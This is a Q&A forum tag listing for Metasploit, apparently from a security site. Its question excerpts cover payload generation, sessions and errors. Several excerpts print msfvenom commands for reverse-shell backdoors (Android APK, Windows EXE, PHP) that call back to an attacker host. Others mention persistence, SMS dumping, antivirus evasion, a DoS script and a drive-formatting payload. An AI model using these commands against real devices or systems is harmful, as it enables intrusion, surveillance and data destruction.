Questions tagged [metasploit]

Metasploit is an open source exploitation framework that acts as a tool for developing and executing exploit code against a remote target machine

Filter by
Sorted by
Tagged with
0
votes
0answers
60 views

Metasploit how to get target phone's telephone number?

I'm new at metasploit and I created a backdoor with msfvenom like this: msfvenom -p android/meterpreter/reverse_tcp LHOST= LPORT= R> /var/www/html/test.apk and I connected to my android device. I ...
0
votes
0answers
26 views

Metasploit dump_sms

In an Android application that is embedded with Metasploit's payload, is there an option for dump_sms feature to just dump the latest SMS or last 5 SMS or any other method instead of the whole SMS ...
0
votes
1answer
153 views

How to find discrepancy between exploitable and unexploitable VM

For several years, I have been setting up VMs with 2-3 year old versions of Windows as well as some additional applications to demonstrate two-stage exploits using Metasploit for educational purposes (...
0
votes
0answers
80 views

Rex::BindFailed The address is already in use or unavailable

I'm trying to run the following script based on this blog. use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp setg autorunscript multi_console_command -rc /root/Desktop/folder/...
0
votes
0answers
63 views

Run Metasploit module against several IPs

I'm trying to run a module against several IPs. It happens that usually we can use RHOSTS file:/file.txt but in this case, that option is not available. I have tried this https://www.pentestpartners....
1
vote
1answer
79 views

Error with Metasploit when attempting to exploit netapi in Windows XP [duplicate]

I am a beginner in hacking. I have been trying to hack Windows XP using the netapi exploit in metasploit, but every time, in the end, I get an error: Exploit failed [unreachable]: Rex::...
0
votes
1answer
493 views

RubySMB::Error::CommunicationError: Read timeout expired when reading from the Socket (timeout=30)

I've been playing around with the EternalBlue exploit recently. I've downloaded a Windows 10 iso file from 2016 and used it to set up a Windows 10 Pro VM as my sandbox. I also ran the nmap script and ...
0
votes
0answers
75 views

Metasploit6 - windows/smb/psexec with EXE::Custom and set DisablePayloadHandler

I'm new to Metasploit and started experimenting with PSEXEC. I generated a payload using msfvenom msfvenom - windows/x64/meterpreter/reverse_tcp -f exe LHOST=192.168.0.15 LPORT=4545 -o shell.exe and ...
0
votes
0answers
136 views

meterpreter command `play` not working

I have created a payload using msfvenom, and after starting msfconsole, I am connected to the victim phone (me). I am able to run all commands but the play command shows an error. I want to play music ...
0
votes
0answers
10 views

How can I generate several exploits in metasploit in a script like manner? [duplicate]

I need to generate several files in metasploit for testing some signatures and normally in metasploit I am required to msfconfole to start the engine and select an exploit using use /path/to/exploit/ ...
0
votes
1answer
225 views

is metasploit under whonix anonymous?

If I run an exploit like EternalBlue with Metasploit on whonix to a remote machine, do I remain anonymous? I think I do because it goes over tor but I am not sure. Am I right?
0
votes
1answer
51 views

Meterpreter: How to invoke commands in a loop for each new connection

I want to execute commands like screenshot on a regular interval (e.g. each 5min) for each incoming connection to Meterpreter using the reverse_tcp payload until the connection gets closed by the ...
2
votes
0answers
64 views

Metasploit opens Meterpreter, but the shell is unresponsive [closed]

I created a payload using msfvenom android/meterpreter/reverse_tcp LHOST=192.168.2.2 R > ANDROID.apk signed the apk, sent it to my phone, opened up msfconsole and ran set payload android/...
0
votes
0answers
26 views

Symfonos 2 - meterpreter session of the user LibreNMS

When I try to exploit Symfonos with a command injection using Metasploit, no sessions are created in the process. Is there any reason as to why this happens?
0
votes
0answers
47 views

Meterpreter RPC error

How to solve this error? meterpreter > run persistence -S -i 7 -p 4444 -r 192.168.134.129 [!] Meterpreter scripts are deprecated. Try exploit/windows/local/persistence. [!] Example: run exploit/...
0
votes
0answers
30 views

PAtched.Gen2 model detected on a pdf with exe embedded [duplicate]

I'm trying, following some tutorials on the net, to embed an exe inside a pdf file, using metaxploit. The problem is that, upon opening it, on the victim system, the antivirus detects the "TR / ...
2
votes
2answers
2k views

How do I set auto check to override exploit in metasploit?

I was trying to run the bolt CMS exploit. Bolt CMS 3.7.0 - Authenticated Remote Code Execution | php/webapps/48296.py (taken from searchsploit) and it wouldn't work because automatic check which ...
0
votes
0answers
74 views

How to read output of a Reflective DLL?

Reflective DLL Injection is one of the most interesting and best techniques to run custom code in memory. I've been learning about it a lot, I've learned how to pass in inputs, But I can't figure out ...
0
votes
0answers
115 views

metasploit's generic/custom payload

I'm trying to perform some custom & simple post-exploitation actions on a CTF machine. I used exploit/linux/local/sudo_baron_samedit, and it seemed to work: Since I'm looking to run my own code, ...
3
votes
1answer
257 views

- Exploit aborted due to failure: not-found: Can't find base64 decode on target

So. I am having some issues at metasploit. I am trying to exploit exploit/multi/http/wp_crop_rce. I am using Docker, in order to install wordpress version: 4.8.9. PHP 7.2.12 (cli) (built: Nov 28 2018 ...
1
vote
0answers
251 views

PHP reverse shell is not responding back [closed]

I created a php reverse shell using msfvenom utility like: msfvenom -p php/meterpreter/reverse_tcp LHOST=<MY_IP> LHOST=4444 -f raw > reverse_shell.php And I created a listener using ...
2
votes
0answers
1k views

Metasploit error - [-] Exploit aborted due to failure: unexpected-reply: Failed to upload the payload [closed]

I am trying to run this exploit through metasploit, all done on the same Kali Linux VM. I am trying to attack from my VM to the same VM. https://github.com/rapid7/metasploit-framework/blob/master/...
0
votes
0answers
60 views

Snort throws no alerts at php/meterpreter_reverse_tcp connection?

Snort newbie here. I don't know what I'm doing wrong and I hope someone can help me. I set up snort on a pfSense VM, on the WAN interface i have a Kali VM connected, on the LAN interface there is a ...
0
votes
1answer
246 views

How to use msfvenom elf approach for metasploitable 2?

How to use msfvenom elf approach for metasploitable 2? I am reading a book that teaches how to make a msfvenom executable for Windows. But I am learning on metasploitable 2. I really did not want to ...
1
vote
0answers
37 views

apache2 server online, but cannot access it on an Android device [closed]

I am trying to learn Metasploit using Kali Linux on a Virtual Machine. I learned that payloads can be "carried" through an Apache server. But the problem is, when I try to access the Apache ...
1
vote
0answers
68 views

A way to background meterpreter sessions from an autorunscript

I have been trying to figure out a way to script a way to background my auto run scripts. It seems like everything works perfectly fine with the exception of the background command. For example: ...
1
vote
0answers
30 views

Problem using `multi/http/mediawiki_thumb`, possibly due to the `Authorization` header

My target requires the Authorization header with credentials to get into. I have the credentials but the module I'm using (multi/http/mediawiki_thumb) doesn't seem to have an option for Authorization. ...
0
votes
1answer
142 views

Metasploit - Where has JTR gone?

I remember using jtr in metasploit. jtr_crack_fast is no longer available for me along with other jtr commands. Yes i can still get regular jtr stand alone or just git but still. What happen to jtr in ...
0
votes
1answer
66 views

How can I generate a binary from an payload without any other addons?

For example how do I turn the payload/windows/format_all_drives into an exe without any other fancy addons? (I am talking about using msfvenom FYI)
0
votes
2answers
130 views

How to run a meterpreter script multiple times

I have this very simple script to run a rpcbomb script from auxiliary/dos/rpc/rpcbomb for a DOS attack. use auxiliary/dos/rpc/rpcbomb set RHOSTS Victim_IP_Address set RPORT 111 exploit -j -z I want ...
0
votes
2answers
524 views

Making My Own Custom Payload [closed]

I have tried many different tools to avoid being detected by an AV while using meterpreter exploit. Here is a list of tools I have tried: Shellter, Posh C2, Hack the World, Veil, Fat Rat, and many ...
0
votes
1answer
187 views

Hanging on When Sending Stage

I'm new to Metasploit. I set up a multi-handler exploit and also made an EXE file with meterpreter/reverse_tcp payload. Both 3rd party AV and Windows Defender are deactivated. But when the victim (my ...
-1
votes
1answer
65 views

Metasploit shell non-responsive

Metasploit successfully executes the exploit, but after that, I get a non-responsive shell: Do you know what could be the problem here?
2
votes
1answer
100 views

The output format of search in msfconsole

I see the following output from search in msfconsole. msf6 > search CVE-2014-3566 Matching Modules ================ # Name Disclosure Date Rank Check ...
1
vote
1answer
247 views

Penetration test on a infotainment system platform [closed]

I am pentesting an infotainment platform that is still under development. I did a nmap scan (for all ports with option -p-) of the platform and found a few open ports. 111/tcp open rpcbind 3490/tcp ...
1
vote
0answers
182 views

msfvenom: how to output assembly of windows payload for inline assembly in C?

My goal is to obfuscate metasploit windows payloads' assembly code (adding junk code to the payload itself), then adding the obfuscated shellcode to inline assembly in C. The issue is there is no ...
0
votes
0answers
73 views

Metasploit with multiple console instances

On msfconsole, we can share some things across the same workspace on another instance of msfconsole -- for example, services and creds. However, I see that sessions and routes are not shared across ...
0
votes
0answers
32 views

Metasploit payload not working on Android 10 [duplicate]

I tried to create a payload using msfvenom and it doesn't work on Android 10... What can be the possible reason and how to prevent it? And I used Metasploit on Termux to do it so is that a problem?
0
votes
1answer
151 views

Metasploit doesn't find exploit added from exploit-db [closed]

I'm using Metasploit. I tried adding the file 46731.rb to both /usr/share/metasploit-framework/modules/exploits/confluence/46731.rb and ~/.msf4/modules/exploits/msf4/46731.rb. Then I updated the ...
0
votes
0answers
129 views

metasploit: run nmap on compromised host

I have just compromised a computer(legal in my local environment) and want to run nmap from that host to see further inside the network. I know I can use metasploit modules like "auxillary/...
0
votes
0answers
643 views

Meterpreter shell reverse_tcp payload not opening session

I'm using msfvenom to create a payload with a calc.exe file as the template for a windows 7 machine using the HTTPS port. I create the file by using the following: msfvenom -a x86 --platform windows -...
1
vote
1answer
248 views

Pass the Hash & Unix

Purpose: test if PtH (Pass the hash) is feasible against Unix box Scenario: Windows host (Windows Server 2008) vulnerable to eternalblue got Administration hash as part of the post-exploitation ...
0
votes
0answers
231 views

generating payload whith autorun script

i want to generate payload whith persistence script that automatically setuped when victim install the payload in window . I know that a multi/handler allow to set autorunscript and it works fine. the ...
0
votes
0answers
65 views

buffer overflow exploit: vulnserver with additional 20 bytes of data?

Vulnserver is a multithreaded Windows based TCP server that listens for client connections on port 9999 (by default) and allows the user to run a number of different commands that are vulnerable to ...
0
votes
2answers
2k views

What is the difference between SRVHOST and LHOST in metasploit?

What is the difference between SRVHOST and LHOST in Metasploit. I am testing an exploit in my virtual lab of which I had to set both options. LHOST was an option for the payload selected, while ...
0
votes
1answer
4k views

Meterpreter is closing connection - connection died

I am trying to run meterpreter on a vulnerable virtual box (FunBox -CTF) msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.x.x LPORT=443 R > shell.php After i upload the payload, running ...
0
votes
0answers
521 views

After connecting to my backdoor, Meterpreter session is unstable and not usable

I uploaded my backdoor (made using msfvenom) and executed it on the remote machine. I'm able to connect to it using multi/handler , but after a while I get disconnected and then when I try to exploit ...
0
votes
1answer
453 views

Metasploit: Example Exploit for Windows 7 / Windows Server 2016

For testing purposes of a logging solution, I would like to simulate an attack by using Metasploit against a Windows 7 / Windows 2016 server. However, I am struggling to find a reliable exploit that ...
1
vote
1answer
275 views

How to set where the meterpreter payload is placed on the victim machine in metasploit?

Background I am trying to achieve a meterpreter session on a test machine (the "victim") that I already have a shell session on. When I run the command sessions -u #, where # corresponds to ...
0
votes
1answer
446 views

metasploit: how to use linux/http/webmin_backdoor

I am trying to gain access to a server using CVE-2019-15107 with help of metasploit. I tried to find examples of its usage, but I found none. My machines ip is 192.168.109.133. I am connected to a vpn ...

1
2 3 4 5
10